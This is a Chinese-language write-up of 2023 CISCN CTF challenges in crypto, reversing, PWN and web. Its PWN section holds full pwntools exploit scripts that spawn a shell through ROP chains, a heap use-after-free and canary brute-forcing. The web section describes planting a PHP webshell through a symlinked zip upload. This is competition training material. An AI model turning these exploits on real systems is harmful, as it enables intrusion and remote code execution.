2023 CISCN 初赛 Writeup By Xp0int
1. MISC
1.1. 签到卡
签到
1.2. 网络安全人才实战能力评价现状调研问卷
签退
2. Crypto
2.1. 基于国密SM2算法的密钥密文分发
登录:http://123.56.251.120:34721/api/login
1
2
3
4
5
{
"school": "安徽大学",
"name":"呼呼",
"phone":"13112304567"
}
回复:
1
2
3
4
5
6
{
"message": "success",
"data": {
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}
}
生成sm2公钥:
1
13FDDB9B907BBA455D6E0F20C337E8283AD0776BC456C9F1FDCA598DB19D14D92BDA112DDE61592E38474CF55B3DB1810942AF505288DBF3248BFAD48B41386A
对应私钥:
1
03EB68C624A42FE89D04696C3B2B58EE3D577F98845C47D6E04938680B8E1E2F
上传公钥:http://123.56.251.120:34721/api/allkey
1
2
3
4
{
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
"publicKey": "13FDDB9B907BBA455D6E0F20C337E8283AD0776BC456C9F1FDCA598DB19D14D92BDA112DDE61592E38474CF55B3DB1810942AF505288DBF3248BFAD48B41386A"
}
响应
1
2
3
4
5
6
7
8
9
{
"message": "success",
"data": {
"publicKey": "0484b3a4083bc3cd541049e0f98af8b4fb9bbc1d17accb3b4cd52926ce0ac44d54d102f76fdd2682e62a74a2bb1ded4bba0ff933f893b68219aa89d0e41f94f1bb",
"privateKey": "702ffe6f46fe568510d0711178a38dc76650641125fcff36c0b1887c204f7cc6",
"randomString": "6a20974229b97c198e32b4370cc73c51000768f08e56f2a5d8552d5aa587a5e0f502e7e936b5d0ac71fd8cfeb9e4cab9ba2bbc95dbea57b03bd7737489caa23f1b285b5c6123ebea82e6e5ec9cb2bd10c92f0335bef1d4ee2ea0f19d70bea1cd12c4f9e0ee2cf16ee30e277c177c2d47",
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}
}
随机数明文:
1
B910AB0F175DA3C3ED9DAFD2473A3C7C
服务端私钥明文:
1
1221B8B7044EEF6A1E3852BD4CACC1D0972B4FE689536A5EB550409467D05B9A
密钥获取:http://123.56.251.120:34721/api/quantum
1
2
3
{
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}
响应
1
2
3
4
5
6
7
{
"message": "success",
"data": {
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
"quantumString": "2b94a2b9d0f8812ac2b8df1c7addefab0401d002d77c8d32c75df8fc4426ffd93ac9853fa6643d92f028575e5e812a7a82d0166f3b2e036eb4451d1b940635eb2771454bb2d963cf0965b1b34a94ef854b588c70d1123a7439155932ec8779f55df9b5e5b83db410074c5ca79876b10d"
}
}
密钥验证:http://123.56.251.120:34721/api/check
1
2
3
4
{
"id":"d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
"quantumString":"fa4667e14f882a0fc3e0342c7972674b"
}
获取flag:http://123.56.251.120:34721/api/search
1
2
3
{
"id":"d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}
响应
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"message": "success",
"data": {
"id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
"name": "呼呼",
"school": "安徽大学",
"phone": "13112304567",
"publicKey": "0484b3a4083bc3cd541049e0f98af8b4fb9bbc1d17accb3b4cd52926ce0ac44d54d102f76fdd2682e62a74a2bb1ded4bba0ff933f893b68219aa89d0e41f94f1bb",
"privateKey": "1221b8b7044eef6a1e3852bd4cacc1d0972b4fe689536a5eb550409467d05b9a",
"randomString": "b910ab0f175da3c3ed9dafd2473a3c7c",
"quantumStringServer": "fa4667e14f882a0fc3e0342c7972674b",
"quantumStringUser": "fa4667e14f882a0fc3e0342c7972674b",
"flag": "已完成考题,结果正确:flag{d24ddc8c-53d3-4b8d-a665-b23778d0dd7a}"
}
}
2.2. Sign_in_passwd
base64换表
1
2
3
4
5
6
7
8
9
import base64
import string
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
string1 = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
flag: flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
2.3. badkey1
https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/RSA.py看库源码,发现有
1
2
if Integer(n).gcd(d) != 1:
raise ValueError("RSA private exponent is not coprime to modulus")
所以令\(d = ap\)即可。
先求出满足条件的\(a\)的值
\[d = ap \\ d = a + a(p-1) \\ ed = ea + a(p-1) \\\]所以这里\(ea=1\mod p-1\),可以求出满足条件的\(a\)
解下来生成\(q\),从\(ed - 1 = k(p-1)(q-1)\)得到
\[\frac{eap - 1}{p - 1} = k(q-1)\]从\(\frac{eap - 1}{p - 1}\)中分离出小因子\(k\)得到512比特的数,这个数加上1后判断是否为素数,如果是素数则生成了一个满足条件的\(q\)。如果遍历完了所有因子都无法生成\(q\),则重新选一个\(p\),重新跑上面的步骤。
生成素数代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
e = 65537
while True:
p = getPrime(512)
a = inverse_mod(e ,p - 1)
d = a * p
assert (e * d) % (p - 1) == 1
kq_ = (e * a * p - 1) // (p - 1)
k = 1
while Integer(kq_ // k).nbits() > 512:
k += 1
while Integer(kq_ // k).nbits() == 512:
q = int(kq_ // k + 1)
if kq_ % k == 0 and isPrime(q):
print(q,p)
phi = (p - 1) * (q - 1)
d = inverse_mod(e,phi)
print(gcd(d,p * q))
break
k += 1
if isPrime(q):
break
else:
print('[+] keep generate')
'''
12031240925733358678956397153973814794830927072519619254688622459702535531607358913397797374211452496749516080814352478517886474216523422136793875438595551 11408214256278155843854906820616320648049844644278946595648838069284033943801902099045617625821569286890641484147603016608649571293695114014470303474295721
'''
proof_of_work
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import sha256
import string
String = string.ascii_letters + string.digits
def proof_of_work(END,HASH):
for i in String:
for j in String:
for k in String:
for l in String:
s = i+j+k+l+END
if sha256(s.encode()).hexdigest() == HASH:
return i+j+k+l
END = 'Y0HWy6X3BcBW0WNQ'
HASH = '0a7aaf2d505e367a3c8e9b621c1e762e18259bebb2ac3b04581a64e4e96530a9'
3. RE
3.1. ezbyte
输入,下硬断,发现程序会把flag中间32字节放在r12~r15里,不过后续把r12和r13的内容再次压入栈中,再下硬断,跟到一个分发的虚拟机函数里,发现机器码取的是.eh_frame的数据,联想到:https://bbs.kanxue.com/thread-271891.htm
直接readelf -wf ezbyte_patch
一把梭,梭出来的结果搜DW_CFA_val_expression,发现只有一个,并且对应的地方似乎刚好是出题人自己设的一个异常,应该就是它。整理一下得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
DW_OP_constu: 2616514329260088143;
DW_OP_constu: 1237891274917891239;
DW_OP_constu: 1892739;
DW_OP_breg12 (r12): 0;
DW_OP_plus;
DW_OP_xor;
DW_OP_xor;
DW_OP_constu: 8502251781212277489;
DW_OP_constu: 1209847170981118947;
DW_OP_constu: 8971237;
DW_OP_breg13 (r13): 0;
DW_OP_plus;
DW_OP_xor;
DW_OP_xor;
DW_OP_or;
DW_OP_constu: 2451795628338718684;
DW_OP_constu: 1098791727398412397;
DW_OP_constu: 1512312;
DW_OP_breg14 (r14): 0;
DW_OP_plus;
DW_OP_xor;
DW_OP_xor;
DW_OP_or;
DW_OP_constu: 8722213363631027234;
DW_OP_constu: 1890878197237214971;
DW_OP_constu: 9123704;
DW_OP_breg15 (r15): 0;
DW_OP_plus;
DW_OP_xor;
DW_OP_xor;
DW_OP_or
一眼就能猜出在干嘛:flag分成四段,每一段先加常数再异或一个常数,然后通过异或比较,最后通过or来检验是否都跟密文相符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> 2616514329260088143^1237891274917891239
3846749616666908648
>>> _-1892739
3846749616665015909
>>> hex(_)
'0x3562666539303665'
>>> 0x3562666539303665.to_bytes(8,'little')
b'e609efb5'
>>> ((8502251781212277489^1209847170981118947)-8971237).to_bytes(8,'little')
b'-e70e-4e'
>>> ((2451795628338718684^1098791727398412397)-1512312).to_bytes(8,'little')
b'94-ac69-'
>>> ((8722213363631027234^1890878197237214971)-9123704).to_bytes(8,'little')
b'ac31d96c'
剩下的flag头尾程序一开始直接明文校对,直接拼上去完事。
3.2. moveAside
mov混淆:https://github.com/xoreaxeaxeax/movfuscator
hxp的人整了一个反混淆:https://github.com/leetonidas/demovfuscator
虽然只能恢复零星几个指令但对这道题来说够用了,梭完给scanf下断点,拿到输入存储地址,下硬断一直跟下去,发现0x805191A往后会提取输入单个字节跟常数加和异或,最后会在固定数组里也取一个字节用strcmp比较,测试了下发现确实是这样。
1
2
3
4
5
6
7
>>> s = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65, 0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55, 0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54, 0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52, 0x56, 0x8C, 0xD4, 0xF7]
>>> for i in range(len(s)):
... s[i]^=0x19
... s[i]-=0x18
...
>>> bytes(s)
b'flag{781dda4e-d910-4f06-8f5b-5c3755182337}\xb5\xd6'
3.3. babyRE
xml文件,看不懂在干嘛,但发现有异或,还有对变量secret的赋值,第一个值刚好是’f’,随手测试下发现后面异或前面就完事。
1
2
3
4
5
6
7
8
>>> s=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
>>> len(s)
42
>>> for i in range(1,42):
... s[i]^=s[i-1]
...
>>> bytes(s)
b'flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}'
4. PWN
4.1. 烧烤摊儿
签到题,首先是没判断负数,直接负数溢出把钱改大,买摊留名一把梭哈
函数没 canary,直接栈溢出 ROP 就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
#p = process('./shaokao')
p = remote('47.95.212.224',34253)
sla('> ', '1')
sla('涯\n', '1')
sla('?\n', '-999999999')
sla('> ', '4')
sla('> ', '5')
#dbg('b *0x401fae\nc')
rebase_0 = lambda x : p64(x + 0x0000000000400000)
rop = b''
rop += rebase_0(0x0000000000013fc0) # 0x0000000000413fc0: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x00000000000021dd) # 0x00000000004021dd: pop rbx; ret;
rop += rebase_0(0x00000000000e60e0)
rop += rebase_0(0x0000000000080f02) # 0x0000000000480f02: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000013fc0) # 0x0000000000413fc0: pop r13; ret;
rop += p64(0x0000000000000000)
rop += rebase_0(0x00000000000021dd) # 0x00000000004021dd: pop rbx; ret;
rop += rebase_0(0x00000000000e60e8)
rop += rebase_0(0x0000000000080f02) # 0x0000000000480f02: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000264f) # 0x000000000040264f: pop rdi; ret;
rop += rebase_0(0x00000000000e60e0)
rop += rebase_0(0x000000000000a67e) # 0x000000000040a67e: pop rsi; ret;
rop += rebase_0(0x00000000000e60e8)
rop += rebase_0(0x00000000000a404b) # 0x00000000004a404b: pop rdx; pop rbx; ret;
rop += rebase_0(0x00000000000e60e8)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000058827) # 0x0000000000458827: pop rax; ret;
rop += p64(0x000000000000003b)
rop += rebase_0(0x00000000000230a6) # 0x00000000004230a6: syscall; ret;
sla(':\n', b'a'*0x28 + rop)
irt()
4.2. StrangeTalkBot
通过搜索 magic 快速可以定位到部分源码仓库
恢复结构体后,手写 proto 文件用 protoc 转 py 即可
特别留意 sint64 跟 int64 不是一个东西
经典 tcache uaf,开了 seccomp,打 free_hook 做栈迁移,通过 ROP 来 orw 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
#p = process('./pwn')
p = remote('123.57.248.214',21202)
import devicemsg_pb2
def new(i,s,c):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = i
msg.msgsize = s
msg.msgcontent = c
sda(': \n',msg.SerializeToString())
def free(i):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sda(': \n',msg.SerializeToString())
def show(i):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sda(': \n',msg.SerializeToString())
def edit(i,c):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = c
sda(': \n',msg.SerializeToString())
for i in range(8):
new(i,0xf0,b'')
for i in range(8):
free(i)
show(7)
rc(0x50)
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))
pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
edit(6,p64(libc_base+0x1eee48) + flat([
libc_base+0x0000000000025b9b,
0,
heap_base+0xad0,
pop_rdi_ret,
heap_base+0xad0,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
pop_rax_ret,
2,
syscall_ret, # open
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0xad0,
pop_rdx_ret,
0x30,
pop_rax_ret,
0,
syscall_ret, # read
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret, # write
]))
new(8,0xf0,flat({
0x00: 0x67616C662F, # /flag
0x28: libc_base+0x00000000000578c8,
0x48: heap_base+0xfa0
}, filler=b'\x00'))
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
#dbg('b *(free+161)\nc')
free(8)
irt()
4.3. funcanary
贴脸栈溢出,不过开了 canary,且没有直接的信息泄露途径
不过,因为 fork 的关系,可以直接爆破 canary
程序留了后门函数
直接利用即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
#p = process('./funcanary')
p = remote('39.106.48.123',31571)
data = 'a'*0x68
for _ in range(8):
for i in range(256):
sda('come\n',data+chr(i))
if rc(1)==b'h':
data += chr(i)
break
data += '\x00'*8+'\x31'
for i in range(16):
sda('come\n',data+chr(i*16+2))
if rc(1)==b'f':
break
irt()
4.4. Shell We Go
golang 题,主要难在逆向
用 binary ninja 反编译,通过插件恢复函数名
开头有一个 cert 验证,用户名 nAcDsMicN
rc4,直接解密即可
在指令解析函数里面,只有 cert 和 echo 有特殊函数实现,猜测漏洞在 echo 中
漏洞点,栈溢出,用 + 可以增大 index
用 ropper 构造 rop 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
p = process('./pwn')
#p = remote('47.93.187.243',34797)
sla('ciscnshell$ ','cert nAcDsMicN S33UAga1n@#!')
IMAGE_BASE_0 = 0x0000000000400000 # 72d6ee2d1532202e269c7676f4165c96d7b0be1f141c1f7f2bc2cb19eef0eff2
rebase_0 = lambda x : p64(x + IMAGE_BASE_0)
rop = b''
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret;
rop += rebase_0(0x000000000019ab20+8)
rop += rebase_0(0x0000000000062cd7) # 0x0000000000462cd7: mov qword ptr [rdi], rax; ret;
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret;
rop += p64(0x0000000000000000)
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret;
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x0000000000062cd7) # 0x0000000000462cd7: mov qword ptr [rdi], rax; ret;
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret;
rop += rebase_0(0x000000000019ab20+8)
rop += rebase_0(0x000000000001e818) # 0x000000000041e818: pop rsi; ret;
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x000000000009e11d) # 0x000000000049e11d: pop rdx; ret;
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret;
rop += p64(0x000000000000003b)
rop += rebase_0(0x00000000000636e9) # 0x00000000004636e9: syscall; ret;
sla('nightingale# ',b'echo '+b'+'*0x111+b' b '+b'+'*0x111+b' ' +rop)
irt()
5. WEB
5.1. unzip
源码
1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
一个简单的解压功能,可以利用软链接把一句话webshell解压到网站根目录下,经过测试网站根目录没权限,但上一级www目录有,所以可以构造两个压缩包,一个里面设置test软链接到/var/www/目录,一个放test/html/shell.php。具体操作如下
设置test软链接到/var/www/,然后zip –symlinks生成压缩包
创建好两级目录test/html,里面放置一句话木马,生成压缩包
上传完压缩包,便会在/var/www/html下生成shell.php执行命令读取flag即可